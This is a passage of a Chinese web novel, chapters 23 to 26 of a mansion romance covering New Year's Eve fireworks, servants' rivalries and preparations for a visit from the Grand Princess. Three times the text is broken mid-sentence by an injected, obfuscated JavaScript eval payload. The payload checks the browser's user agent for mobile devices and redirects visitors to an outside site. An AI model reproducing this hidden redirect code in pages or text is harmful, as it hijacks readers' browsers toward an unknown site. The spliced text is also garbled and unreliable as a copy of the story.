“并没谁盯着你灌下去，何须委屈自个儿的脾胃？”歆荣便让九莺悄悄端下去，有爱喝的便给她喝。“其实炸着吃或者糟出来倒好吃，肉也嫩，也没什么怪味儿。你要是肯尝尝，我一时叫人匀些来。” 梵烟说“罢呀”，“你这几遭还不够给我长脸？现下更是亲临寒舍了。” 歆荣亦忍不住笑：“我如今还不能来看你了？”信手拈起一个梵烟未做完的锦袋儿，略一比划：“有一类人是这样：你若只比她强一星半点儿，那她可以时时刻刻不分昼夜地盯着你，巴不得你有个什么不妥，好立时把你拉下来。可你若是比她强出十倍百倍，脚面儿都比她天灵盖儿还高，那她就只有规规矩矩、顶礼膜拜的份儿了。” 可我并不想踩在谁的脑袋上。梵烟深知她是全心为自己打算，这话再说出口，实在太像扶不起的阿斗了。 于是趁势谈及绣活儿：“这个不过是我做着玩儿的，尚没想好用处。正月里忌针黹，也只剩下这三五日了。你若有巧思，烦你替我绣两针、收个尾？” 歆荣忙撂下锦袋儿：“我没有巧思。”梵烟掩口直笑，招来歆荣一记榧子。 又嬉闹了一回，歆荣道：“我回去了。” 梵烟忙挽留：“什么要紧事？倒早不晚的，不如吃了中饭再走？” “吃过中饭，又该小睡一会儿了。”歆荣一面理斗篷，一面调侃：“万一睡得太香，鸠占鹊巢了如何好？” 不待梵烟着恼，握了握她的手：“凡事皆顺着你的本心就是，不必顾忌旁的。”再有千言万语，终究词不达意，不过摇了摇手，就此别过。 梵烟送着她远去，仍在门前伫立良久，听见对过一声关窗户的动静，这才转身进屋。 中晌薛盟过来，恰好十锦招呼着几个仆妇，将几箱子不大用的物件儿归置起来，因笑道：“你们也要年末盘点。” 梵烟迎上前，未等见礼，先忍不住睇了他一眼。甫屈膝，被薛盟伸手拦住，趁势扣住她的指头：“你在屋里作什么呢，手还是凉的？” 梵烟说：“正是不做什么，闲着自然凉些。要是搬得动这些大箱子，手指又不冷了。” 薛盟循着她的话望了望，见众人只管把箱子往边上那间房里堆，又说：“这院子到底小了点儿，一个人住还罢…” “家主用过饭没有？”梵烟忙打断话头：“我们中晌吃得简便，该传几样正经菜来，不知家主想吃点什么？” 薛盟没领会到她这份用意，随口道：“简便些才好。这几日大嚼大饮的叫人腻烦——晚间还得请各处伙计们吃岁酒。” 说着进了屋，梵烟这才暗松一口气，瞥一眼几上的珐琅钟，离摆饭还有一刻多钟，若去厨房传话也来得及。 想了一想：“之前在夫人那里吃过一道奶羹配烤胡饼，口味儿倒新奇。家主夜里又要饮酒，不如先拿它暖暖胃。” 薛盟自是欣然答应，梵烟便让九莺告诉厨房一声。 九莺出了门，正碰见纤纤那边丫头如意。如意赶着叫了她一声“姐姐”，二人便结伴走去厨房。 纤纤虽有个小厨房，其实不过几只小盄子而已，让房里的丫鬟做些汤水体己还使得，正经份例饭菜当然仍从厨房里领。 如意走到条案前，那只提手上刻着卷草纹的二层食盒是给她们的。厨娘知道她们素日的习惯，向来安排的多为小炉灶整治不出来的头菜珍馐，倒也算殷勤。 “哟！九莺姑娘今儿怎的亲自来了？”成日就一副笑模样的张嫂子越发见着真佛一般，玻璃酒杯也不摆了，忙忙擦了两下手，上前一顿嘘寒问暖，生怕灶上的烟火气沾着这饮露餐霞的金贵人儿。 九莺道：“这不是临了给你们添麻烦来了么——我们姨娘说，多要一份上回夫人点过的奶羹和胡饼。” 她虽没搬出薛盟来，但厨房里的女人谁不清楚，这贺姨娘最是个省事的主儿，从不要这要那。破天荒地点起菜来，必定有缘故。 内宅里的诸般文章，其缘故不就那一样吗？ “姑娘这话忒客气！”张嫂子一迭声地支使人熬酥酪、剥玉蜀黍、生火烤饼，自己亲领着九莺到间壁清净地儿坐下吃茶：“夫人别具匠心，我们才知道原来有这种吃法儿。其实做起来并不费事，姑娘只消略等等，也尝尝我们的手艺。”捧来两样大蒸屉里端出来的点心。 九莺忙说不可，“主家们还没用上呢，我怎能先吃起来？” 张嫂子赔笑解释：“姑娘勿怪，这本是为年里设宴琢磨的新式样，没斟酌准的东西，不敢先呈到上头去，按道理是厨房上人试着味儿增减的——我们这群人，舌头早被油烟熏钝了，故而请姑娘替我们品品好坏。” 九莺心里明镜似的，面上却不好过于较真，瞧见如意提了食盒正走出来，便对张嫂子道：“百人百味。我一个人说的也做不得准，嫂子不如让大家都评判评判。” 张嫂子知她所指，心忖：这吕姨娘跟前的人多是刁钻。从前打发了个秋雁，来的这个如意便每每存心露乖，自己不过一时没很奉承她，又不是菜色上没用心，她就拉长个脸，谁知回去会乱嚼什么？ 如今九莺既给了台阶，她忙唤：“如意姑娘！作甚走得这样急？”上前欲挽她：“厨房正试菜色呢，姑娘也来出出主意…” 如意笑拂了她的手：“我急着给姨娘提饭回去呢，没得耽搁凉了。”余光扫了九莺一眼：“试菜原是厨房的职责，且轮不到我一个奴婢说咸了淡了的，嫂子的好意，我心领了，可别折煞了我。”说罢就走。 九莺生受了这句讥讽， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吉祥嗤之以鼻：“除夕皇亲们要进宫领宴，姨娘也要去长公主府里拜年，主子们全不在，真不知忙给谁看。” 十锦正舀蛋羹拌饭，听到此处，不由向九莺看了一眼。 九莺默默挟了豆苗吃，暗想：才吃了几天饱饭，就轻狂成这样？ 定要排揎她们这边，也该掂量掂量自己的斤两。 搁下筷子，又用帕子掖了掖嘴角，九莺这才转向她二人：“妹妹年纪小，快别这么口没遮拦的。咱们私底下虽不挑刺儿，但外头人听见，不知要编排成什么样子呢。” 她语调放缓，柔婉却不容辩驳：“主子们在与不在，府里的章程都不能乱。除夕祭祖，原是头一件要紧事，一年到头全凭先辈庇佑，到了年关正当尽尽孝心，让先祖们享用香火祭祀，怎么会不知忙给谁看呢？至于上上下下的妈妈管事、丫头小子，值夜的嚼用赏赐，这倒是细枝末节了。” 吉祥脸上红了又白，瞥了如意一眼，见如意并不替她圆场，唯有勉强道：“我并不是这个意思。姐姐既体谅我，我受教就是，千万别说出去，再惹出是非来。” 九莺一笑：“同一个院子里当差，我何苦为难你？大家图个安生即可。” 回过头，见十锦特特给自己添了一碗鱼圆汤，只好又喝了，道：“好了，咱们就走吧。” 吉祥忙站起来，目送她俩离开。如意这才笑道：“你如今见识到了？” 24. 二十四 除夕刚交四更，薛府各院的灯俱点起来了，上上下下一片通明。 梵烟穿戴严整，便往正房来。沿路彩灯辉煌，直如两条金龙一般，蜿蜒相伴。 歆荣正换诰命服，见她进屋，笑叹：“好困。” 梵烟忙让取来含香丸，与她噙了提神，再略补一补口脂，说：“宫中礼仪繁琐，这会儿连水也不便多喝。你且把这丸子揣着，实在撑不住时，悄悄儿抿一丸也好。” 歆荣依言收在佩帏里：“我哪有这般娇弱？不必担心呢。” 坐在奁台前戴好冠子，前院薛盟便派人来请。 此时纤纤亦到了，同样插金戴宝、华裾鹤氅——因薛盟夫妇要先往公主府上去奉迎母亲一道进宫，故此倒可以带她同行一程。 歆荣便由她二人左右搀着，款步而出。在前院与薛盟照了面，至正门乘车。 “估摸着酉时才能完。”薛盟虚扶过歆荣，复叮咛梵烟：“我让澜序在前头多照管些，二门另添了两班妥当妇人巡察——再有未及之处，你便费心些，若要吩咐个什么，只管差遣人去。” 梵烟一一应了，又被歆荣捏了捏手：“别这么严阵以待的。门户守好了，里里外外随你自在。” 梵烟方展颜一笑，蹲了蹲福：“不敢辜负所托。”送二人上马登车，一个大红赐服，一个大衫霞帔，月白冬夜里，煞是般配。 一时看得入神，全没留意纤纤飞来的余光。 待车马远去，返来各处巡视一回。两位嬷嬷昨儿叫子侄家接去团圆了，此外无甚可忙，便回房里坐着。 先前那锦袋儿做好了，本欲给歆荣盛香料，挂在衣橱里熏衣裳，偏生薛盟瞧见，张口要了。 梵烟于是另选了两枚白玉云头做坠角，穿好了，连绣箩一道收进螺钿柜子中。 辰时澜序来问了一回安，道是前院一应太平无事，闲话两句，又折返去了。 十锦掩口打了个呵欠，提议道：“咱们来玩夫人那一套《升官图》吧！” 梵烟知她们无聊，点头允了，十锦便亲去正房取，一并请八红过来玩。 少顷两个人进门来，八红说：“人少了不好玩，不如让这院子里的小丫头都来。” 梵烟笑了笑：“这话正是。”让十锦去招呼她们，再让九莺将现成的糕果都摆出来，林林总总二三十碟子排开。 不多时，洒扫杂使的小丫头们就在门前聚齐了，拘谨又雀跃地东张西望、窃窃私语；随即纤纤那边的如意吉祥亦被邀来了，十锦掀了门帘儿：“别谦让了，屋里暖和。” 梵烟因嘱咐九莺：“只管拼一张蝶几在地上，升官图纸也铺在地上，横竖隔着栽绒毯的，不然她们倒不好意思随意吃喝。”九莺笑应了，依言照办。 众人进来，给梵烟见礼，梵烟抬手免了，说：“过年呢，大伙儿都热闹一回才是。眼下既闲，玩乐半日也无妨，到了夜间，该当值的仍仔细当值，别离了格，主子们回来看着不像样。”丫头们连声称是。 一时按长幼坐下，九莺、十锦、如意、吉祥先起一局，示意给不会玩的看，片刻大多都看明白了，摩拳擦掌又陆续加进来几个。几轮骰子掷过，渐渐都放开了手脚，或有升了“御史”得了彩头的，或有被“贬谪”出局的，引得惊呼笑叹声一阵高过一阵。 梵烟自己不下场，挨着熏笼坐着喝茶，名为“监场”，不许有人混赖，实则不外照应哪一碟果子少了须添上、糖粉碎屑别抹在宣纸上、谁输得伤心了，便到旁边来缓缓…… 厨房里尚送了玫瑰酒酿圆子来，九莺玩累了，让出位置，自去洗了手，替大家分甜羹。 第一碗奉与梵烟：“她们斗智斗勇到了那般田地，你如何还出神？” 梵烟接了，唇角微扬：“她们热闹至极，独我清闲。”拿小瓷匙轻轻搅着汤，并不送入口。 九莺心里便暗暗一叹，敁敠她的心思当与自己相类，“乡心新岁切，天畔独潸然。” 亲朋旧故无处寻觅，她唯比自己多了一位良人聊供牵念，不知更好还是更坏。 小丫头们尚不知愁。闹腾了半日，不拘输赢，皆得了梵烟给的各种彩头，意犹未尽地散了。 下半晌过年的氛围更浓，依稀闻得零星爆竹声响，不知从何处传来。梵烟便又罩上氅衣，四处走了一遍，得知是府外的动静，方才放下心。澜序禀说宗祠里祭祀之物业已妥当，易燃的纸帛香烛俱派专人看管，只等家主夫人回来。 这一趟走乏了，正合梵烟的心意，回来和衣小睡。 床帐仅放下了一半，眼皮儿上仍觉明晃晃的，却又不肯睁开，背过身去，仿佛好些，只是睡不实，外间的炮仗声、车马喧哗声，潮水般来来去去，拂过她耳边。 可是空无一人。萧瑟天地间，连她也是白茫茫的，飘着，亦坠着。 响遏行云的一段乐声乍起，最终将她唤醒：祭礼开始了。 梵烟坐起身，但见屋中已掌灯，九莺并十锦的身影赫然映在床帐上，原来是二人见她好睡，仅在外间掷骰子玩儿，唯恐出声扰了她。 她一起，那二人就留意到了，走上前来。九莺笑：“当真管家劳心劳力，偶然半日就累着了。”十锦点头：“头里也起得太早了。” 梵烟忍俊不禁：“你们俩倒会替我找由头。”因为没歇好，身上反而略感寒凉，拢紧了小袄，接着问：“夫人回来了？” “回来了，还在祠堂那边没过来呢。”九莺端来一小盅牛乳粳米粥：“正屋里热茶热炉都齐备，七巧还给咱们绘了一小幅年画呢。” 梵烟忙道：“快拿来我瞧瞧。”十锦取来展开，梵烟、九莺一看便赞：“哟，《渔樵耕读》这个倒雅得很！” 十锦闻言，也偏头来看：“怎么是四个男人？也不俊俏，挂着什么好看？” 九莺握嘴直笑：“咱们纵不便挂，却不为你说的那般。这原是文人大家心里至臻至善的境界，丰衣足食之外，兼顾陶冶情操，再上者匡世济民。跟美丑有何干系？” 十锦不服：“既是他们的愿景，咱们也不必忙着认同。论情操，美人抚琴不能陶冶？论丰足，莲花娃娃不是丰足？” 梵烟听到此处，叹道：“了不得，竟得了夫人真传。”与九莺齐笑。 再向十锦道：“你这话极有理。世人志向各异，究其根本，竟若合一契。不过这画儿出自你七巧姐姐之手，咱们领情就是。”十锦这才点头。 将画收好，复看了看时辰，等祭祀毕了，就该她们去正房给歆荣行礼。 梵烟正重新理妆，外头歆荣差了人来：“夫人说，一家子同辈不必太讲究虚礼，今儿都乏很了，只管各自安歇。明早再相见。” 三人听了不免诧异，待来人一走，梵烟交代十锦：“且悄悄去正房瞧一眼，若真是歇了便罢，若有个什么缘故，再来告诉我。” 十锦应声去了，梵烟尚不忙卸钗环，只倚在窗边小榻上，有一搭没一搭地翻着一本闲书，小香炉里青烟袅袅，渐渐将夜色晕染得愈深了。 忽然，院子里一阵脚步声传来，比丫头们都重，却更急促两分，径直走向这边。梵烟抬起头，只见帘栊一动，薛盟已携了一身寒夜清冽进来。煊赫冠服已换，穿着一袭家常霁蓝云纹锦袍，罩着玄狐外褂，头戴暖裘帽，眉宇间倦色浓重，眼睛却亮得灼人。 梵烟连忙上前相迎：“家主怎么过来了…” 十锦跟在后面溜进来，只冲梵烟摇了摇头。 “我想着夫人体谅你们，不必过去磕头拜年，但府里也总得有个过年的意思，很该来扰一扰你。”薛盟说着，除了外头衣帽，随手拾起案上的书一看，回身冲梵烟一勾唇：“过年呢，你还这么用功，就奖赏你这个吧。” 自怀里取出一只红封：“喏，压岁钱。” 梵烟一愣，心下好笑，鼻尖却微酸，双手接了，屈一屈膝：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247125|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多谢家主。” 薛盟收回手，就在她才刚坐着的软榻上坐了，斜身靠住那引枕，惬意地舒了一口气。 九莺十锦倒来茶，奉上红橘、龙眼等物，拨亮了灯，便退了出去。 梵烟见状，亦在他对过陪坐。薛盟手撑着下巴，看她垂首剥红橘，髻心一支嵌宝蝴蝶簪将坠未坠，不由笑道：“何不将这些累赘卸下？” 梵烟闻言抬眸，先将橘子奉与他，方起身道：“少陪了。”转至里间更衣。 她本不惯在他面前脱换，薛盟自己不觉，依旧同她说话：“上回姑母把你支开，猜猜是同我说了什么？” 梵烟不意他提起这个，手上动作一顿：“什么？” “她想走我的门路，将表妹荐入东宫。”薛盟纵有几分薄醉，到底知道轻重，着意压低了声音，复起身走至屏风近前，以此杜绝旁人窃听：“真该让她亲去体会体会，今日大宴上的刀光剑影…” 话未说完，见梵烟只穿了杏粉小袄，外面一件豆青比甲，底下白绫细褶裙，脂粉不施，松松挽了素鬟，比方才越显清丽可爱。 梵烟被他这么呆看着，自己先难为情起来，口中道：“怎么起的这个念头？天家富贵，却也不是人人都消受得起的。我看那位表小姐蕙质兰心，许个相当的人家，和和顺顺才是福气。” 一边说，一边就往外走。跟前的路被薛盟堵住了，只得从屏风另一端绕行，听见身后薛盟深以为然：“我也这样说呢！便是人心不足，得了安稳，又想权势，终归要自家上进，哪能将一门荣耀全寄于女子之身！” 梵烟知他对那两位表兄略有微词，不便附和，恰好经过那螺钿柜子，心念一动：“前日的锦袋已做好了，家主看看，这样可还使得？” 薛盟如获至宝，接在手中，指腹在那白玉云头上摩挲了一下，便欣然收进怀里：“有劳，有劳。” 梵烟抿嘴一笑，关了柜子，回到外间来。 小铜炉里的香饼燃尽了，她再添了一块，正盖上，不妨外头爆竹声大作，唬得她指尖一颤，薛盟忙来察看，还当她烫了手。 梵烟摇摇头说不是，“好生热闹。” 薛盟见她面露向往，提议道：“咱们到外头去。”将自己的狐裘与她裹严实，揣上手炉，开门出来，召过澜序，吩咐他拣好看的放。 澜序兴头头地应了，也不用旁人，自己将各色花样炮竹排出序来，一溜小跑过去，挨个儿点了，一时间只听得道道锐响划破寒夜，惊雷一般。墨色天幕如裂帛四散，绚烂光华层出不穷，时如花海，时如垂柳，时如火轮，变化万千，斑斓明灭。 轰鸣声震耳欲聋，极致的喧嚣深处，便是极致的寂静，仿佛天地间仅有两个凡人，仰头同观这一番盛大。 “…梵烟。”薛盟忽然侧首唤她：“想不想亲手试试？” 梵烟眼睛一亮，而后倒踟蹰起来：“我从前没玩过。” 薛盟便笑：“又不难。只管胆子放大点儿，手别抖就是了。”果真叫澜序拿一样小些的炮仗来。 复拈了一支线香递给梵烟：“纸捻子烧得快，你既不熟悉，怕燎着手，就用这个来点。” 梵烟捏住了香，见澜序将一只四五寸长、顶上拱起底面平的金红相间炮仗平放在地上，伸手将一端灰绿的引线往外捋了捋，顺带两脚踢走周遭散落的碎屑，笑呵呵的让至一旁。 薛盟立在台阶上，看了他一眼，随即揽住了梵烟的肩头，一只手同她一块儿执着那香：“我陪你点。” 梵烟不疑有他，二人一道走到跟前，弯着腰，小心将线香顶端挨上引子—— “嘶嘶”几声过后，炮仗蓦然极速旋转，一边满地乱窜，一边喷溅火花，梵烟猝不及防，惊呼一声，扭头撞进薛盟胸膛。 薛盟两臂一张，趁势把她抱起来，省得火星燎到裙裾。终于按捺不住，朗声大笑起来，地老鼠遍地飞火流星里，一吻落在梵烟耳畔。 25. 二十五 梵烟下意识闭紧了双眼，那温热的触感其实只蜻蜓点水，而淡淡的酒气却萦绕不去。 她被烫得一缩脖子，手臂跟着欲收这才回神，自己犹在薛盟的怀里。 四目相对，良久无言。梵烟脸颊通红，心底蔓延出一种无法忽略的悸动与酥麻，难以言明，极近欢喜，甚至让她贪恋—— 如果时间能够停驻在此刻…… 薛盟仿佛听得见她的心声，手臂轻轻一颠，越把她往胸前搂紧了些，腾出一只手来，抚了抚她额边碎发，将罩着她的暖帽收拢住。 “摔不着你的。”察觉到她的瑟缩，薛盟低笑着说道，轻微的震动借由帽檐上的绒毛，拂在她的脸庞，漾起一种柔软的安稳。 梵烟动了动指尖，攥着他锦袍前襟的手慢慢松开，转而试探般地、小心翼翼环住了他的腰。接连不断的闷雷在她耳边炸开，她后知后觉，放松了呼吸：“才不是怕摔…”丝毫不觉自己这般辩解，落在他耳中纯然是撒娇。 “嗯，我知道。”薛盟顺着她说，逗弄的心思却消散无踪，一如既往的温存里多了点儿什么，陌生的滋味。他想，他好像从没有和谁这样守过岁。 他微微俯首，下颌轻抵在她的暖帽上。周遭的尖锐呼哨声越发密集，浓烈的硝烟气息乘着夜风，无孔不入——这是一种独属于年节的、野蛮的炽烈与兴奋。在这种喧腾面前一切言语都失去了意义，天地重归到鸿蒙初开的混沌热烈，只余下最原始的光影与声浪的狂欢，肆无忌惮地宣告新一岁的来临。 “梵烟，新年好，” “新年好…誓之。” 新雪势急，起初不过细碎的琼籽，敲在琉璃碧瓦上叮当作响，不消片刻，便成了扯絮一般，纷纷扬扬，一夜之间，整个庭院皆白了头。 青袄茜裙的丫头们捧来笤帚，扫开这松软厚重的白绒毯，依稀还能寻到先前燃放爆竹过后的碎屑残红。 梵烟迷迷糊糊听得几许竹枝“簌簌”声，心里依稀存着桩事儿，勉强睁眼，对上薛盟近在咫尺的睡颜，怔了一怔，方伸手轻轻推他醒来：“快起吧，得进宫朝贺正旦呢。” 薛盟仍闭着眼，凭感觉抓住她的手，摸着指尖不算冰凉，略微满意地勾起唇角，犹带到自己胸膛上贴着，替她渥一渥。 见他如此，梵烟原该催促，可又有些舍不得，指尖无意识屈起，在他胸前划了划。霎时被薛盟按实了：“我不去了。” 不去吗？梵烟虽不知宫里的章程，但元日大朝会何等隆重紧要，单从百官咸集、外邦来贺上即可窥见一斑，由不得他们任性妄为。 她沉默着，引得薛盟终于睁开了眼睛：“你都不留我。” 梵烟失笑，心里微微一松，眼波流转：“还差一刻才到寅时，家主多歇歇也来得及。” “怎么又改回去了？”薛盟嘟囔一句，倒也被这个称谓唤回了几分一家之主的担当，撒开她的手，慢慢坐起身来。 梵烟跟着要起，被他摁住了，笑道：“难得能赖床，何不代我多睡会儿？”外间澜序已送来了新的官服朝靴，热水也备好了，他自洗漱过，穿戴妥当，复走至落地罩内，一撩床帐，见梵烟欠身留心着他这头，顿觉受用，大清早撇下软玉温香、顶着寒风去三跪九叩的怨气尽消。 刮了刮她的鼻子：“再不睡，索性陪我同去。” 梵烟哼笑了声，拿被子闷住脸，瓮声瓮气的：“家主慢走。” 她这副姿态，倒正方便他呵她的痒。薛盟刚欲上手，又念及她此时仅穿着寝衣，躲闪之际万一受了寒——恋恋不舍片刻，澜序在外头又催了一回，不能再耽误了。 只好转身大步流星离开内室，外头的脚步声渐次远去，而后归于静谧。 梵烟拉下被子，透过幔帐望出去，雪光映在窗上，满室澄明，新岁伊始。 竹帚扫雪的“沙沙”声连绵到上元节，丫鬟小厮们换了一班又一班，个个身上又多加了一件蓑衣，脚下趿着毡鞋。 “瑞雪兆丰年啊！”歆荣打了个呵欠，拥着裘被，懒懒靠在围榻里：“连着十来日各处吃年酒，好容易歇下来，偏又是元宵！” 梵烟拈着一枚棋子，久久落不下，闻言莞尔：“你倒说说，除了初二回娘家，有哪一日偏劳了你的？” 歆荣抵赖不得，笑眯眯道：“好梵烟，我正是替你感慨嘛——等忙过了今儿个，再清清静静赏雪。” “这话极是。”梵烟总算拿定了主意，指尖棋子落在棋盘一角，发出悦耳的一声“嗒”，“我们在前头迎来送往，夫人在后头品鉴各家茶点戏文，甚是费心费神呢。” 歆荣被她揶揄，也不恼：“知我者，梵烟也。”一面抬手便吃她的子。 “唉！这个不算！”梵烟着实不精于对弈，这才看出陷阱。 歆荣提醒她：“你可想好了？悔一次就多欠我一分债。” 梵烟进退维谷，思量一番，不由气馁：“左右都是要输，我不玩了。” 歆荣捂嘴直笑，嘴上倒善解人意：“那就不玩——实在是我这个做师父的不算高超，并不是你的缘故。” 梵烟乜她一眼，恰好七巧捧了一封大红洒金笺子，交于歆荣过目：“厨房拟的宴饮单子，请夫人裁夺。” 歆荣接了，展开粗略瞧去：长公主夜里要来这府里看花灯，他们得筹备一整日的章程：何处更衣、何处燕坐、何处受礼、何处开宴、何处观灯、何处稍憩…单是宴饮一项，厨房上便洋洋洒洒写了十六折呈来。 “先前才听人说，南边儿富裕奢靡，如今连一般商贾摆酒，都是吃一看二眼观三的席——那是没见着咱们这回。”歆荣将笺子递给梵烟，又嘱咐八红：“去请吕姨娘也来看看。今儿再缺不得她。” 待旁人都散了，方对梵烟说：“你们除夕夜里放了多少炮仗，才惊得人家夜不能寐，连日里身上都不好？” 梵烟红了脸，终归是那日太忘情的缘故，只喃喃道：“你怎么如何才告诉我？原该去探一探她。” 歆荣一笑：“正是料定你会如此，我才不说的。一时她来了，你也权作不知情才是。” 未等多言，外头已报纤纤到了。歆荣看着她进来，拊掌喜道：“果然长公主庇佑，今儿大好了。” 纤纤含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277325|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羞一笑，双腿略屈，就被歆荣止住了：“留着等晚上再行吧！过来坐着暖和。” 七巧忙撤下棋盘，九莺另上了茶，奉与纤纤。歆荣又叫给她添上手炉脚炉，再让梵烟将笺子传给她瞧：“咱们几个人，虽说孝心是一样的，但属你最投殿下的意。这些酒菜好不好，只管照直说，即刻就让他们改了，别到接驾时，长公主纵有不足意之处，碍着小辈们的情份，也捺下去不说，岂不有违我们的初衷？” 纤纤闻言，忙欠身捧过，细细看去。她深知长公主素好排场，这密密麻麻的名目已押中了几分题意，唯因自己若只一味赞好，显得不够尽心似的，敁敠一番，指着其中一样玉带羹道：“这后面写着用了莼菜与嫩笋尖，冬日里固然难得，只是偏于性寒，殿下不吃的。” 歆荣赶紧叮嘱梵烟：：快记下。” 纤纤又指了两样：“还有这炙肚胘和羊舌签，一应内脏，殿下也是不吃的。” 歆荣说“好”，复让梵烟写了：“让厨房从头到尾仔细理一理，但凡用了的全蠲去。另外沾过这些的器皿也不能再使——一个人对忌口的气味最敏锐不过。” 接着问纤纤：“还有呢？” 纤纤摇了摇头：“实在没有了。夫人拟的这单子真真切切尽善尽美，倘或不是殿下果有些避忌的，我也不敢鸡蛋里挑骨头。” “这哪是我能想得出来的单子？”歆荣自谦一句，向梵烟笑道：“咱们只图花团锦簇，到底不比她细致入微。如今有她把关，想必能将殿下侍奉得舒心了。” 梵烟满口称是，起身相谢，纤纤一迭声道：“哪里受得起？”避了又避。 歆荣道：“这倒提醒了我。”随口差使九莺：“你跟七巧一道跑一趟，单子送回厨房，将我的话带到。另有现成的清钱，多拿几吊，告诉她们，年里辛苦了，这一场席面务必还要精益求精，博得长公主开怀了，过后加倍再赏。” 二人答应着，前脚刚走，后脚又有管事女人来请示各处挂灯、铺陈茵褥之类琐碎。歆荣便对梵烟和纤纤道：“席面姑且这么定了，余下的你们俩一同瞧瞧去吧，彼此好有个商量。我也好偷懒再歪一会儿。” 梵烟与纤纤笑着，齐声应下，起身先去看新送来的灯盏。 正中甬路又清扫了一回，预备铺猩红氍毹。二人便只从抄手游廊取道，一路见得香雾缭绕，花彩缤纷，沿途罩棚廊檐处，纱绢绣画诸样彩灯已然挂满了，仅有正厅前的所设，还须她们亲去库楼掌眼。 纤纤拢了拢鹤氅，声调比在屋中时更软几分：“才刚我过于冒进了，妹妹可不要见怪。” 梵烟讶然一笑：“姐姐又说起外道话了。殿下的喜恶干系重大，幸而有姐姐在旁，不但我千恩万谢，夫人心里亦是感念的呢。” 纤纤稍稍安心：“这也正是我的一点想头——总归在殿下面前，能尽了孝心才好。” 两人说着话，依依走过西跨院，来到库楼前。皑皑白雪中，并肩同行的身影依稀与某个秋夜重合，复氤氲成无数个晨昏。 真是迅景如梭。纤纤漫然想着，如今俨然是她后来居上了。 26. 二十六 酉时初刻，天色将暗未暗。大门前华灯流彩，泼洒在雪地上，直衬得薛府如琼宫仙境一般。 薛盟与歆荣俱穿着狐皮褂子，候立在当中，梵烟、纤纤并内院妇人丫头簇拥其后。澜序总领着两排青衣小厮，从正厅台阶下蜿蜒直至街口，鸦雀无声。 只听街口传来金锣开道声，由远及近，逐渐清晰，道旁男仆们齐刷刷跪倒。伴随着细乐，迎面而来的是一对对销金提炉，转瞬之间异香盈路。紧随其后的仍是成双结对的宫娥，手捧金香盒、金唾壶、金水瓶、金节、绣帕等物。 翠金雉翣次第分开，金顶朱轮的厌翟车在众多仪仗扈从的簇拥下，终于缓缓驶至府门前。 翟鸟云纹的车门开启，两名女官放下金脚踏，恭敬地垂手侍立在旁。 歆荣深吸一口气，领着梵烟、纤纤上前行礼：“恭迎殿下凤驾。” 薛盟一揖到底，旋即先伸出手来，搀扶母亲下地。 长公主抬手，虚搭着他的胳膊，腕间翡翠双镯“叮啷”一碰，从容步下车驾。她今日穿了荆紫缂丝百鸟朝凤大衫，外罩盘金绣彩佛头青海龙皮雪褂，戴着九龙四凤珠翠冠，粉面含威，端的仪态万方。 昂着头，目光从在场诸人身上轻轻掠过，长公主嘴角牵起一丝弧度：“都起来吧。雪天路滑，难为你们候着。” “殿下一路辛苦。”歆荣低首敛眉，上前半步欲扶她另一侧，不意长公主手指一点，径直指向后头的纤纤：“你倒会拿大了，还不来伺候我？” 纤纤忙越过歆荣等人，稳稳当当托住长公主臂弯：“殿下冤煞奴婢了！千真万确是守岁受了寒，躺了将近一旬呢…听见说殿下亲临，这才爬也要爬过来服侍。” “你少跟我装相！”长公主笑骂道：“我可是听说了，你主子们应酬往来，你连金面儿都不露，难不成仗着如今有了身份，连支应宾客都一概推给别人？” “外头凉，娘要教导人，也别干站在这儿吹冷风。”薛盟横插一句，长公主睨了他一眼，暂且作罢，就着纤纤一人奉迎，施施然朝内走去。 一行人踏过大红毡毯，长公主打量着周遭火树琪花，略指了一指：“这两样灯倒还罢。你这宅子别的尚可，就是过于新了，树木山石算不上蓊蔚，便少了些况味。” 薛盟道：“自然不能与敕造公主府相提并论。不然我去娘那儿挖几样奇花异草来，娘又要心疼了。” 这也是他幼时轶事了。长公主会意，偏偏非把纤纤推出来：“这么个花儿似的人都给了你，你竟还嫌我小气不成？”薛盟但笑不言。 片刻进入正厅，长公主在当中设着大红金钱蟒纹靠背的楠木圈椅落座，七巧立刻奉上热汤、巾帕，叫女官接过去，长公主擦了手，又饮了一口八红捧来的茶，微微靠住椅背，抬首觅得梵烟：“我说呢，上回有个模样不输你媳妇的丫头，怎的不见人影儿——原来正是你心心念念的这一个。” 这话虽嗔的是薛盟，但余下众人俱暗暗不自在。梵烟被点了名儿，赶忙出来行礼：“奴婢梵烟，叩请殿下金安。奴婢蒲柳之姿，兼又愚钝鲁莽，不敢妄求入殿下的法眼，只随侍在末，望殿下恕奴婢失礼。” 长公主便让纤纤拉她起来：“什么可恕不可恕的。我不过随口问问罢了——可见这孩子比纤纤知礼。她原是我家里的婢子，你却是良籍，不必学她的称呼。” 梵烟低头应了，复道：“殿下教训得极是。您是尊长，小辈们肝脑涂地来孝敬都还不够，不该囿于称谓如何。” 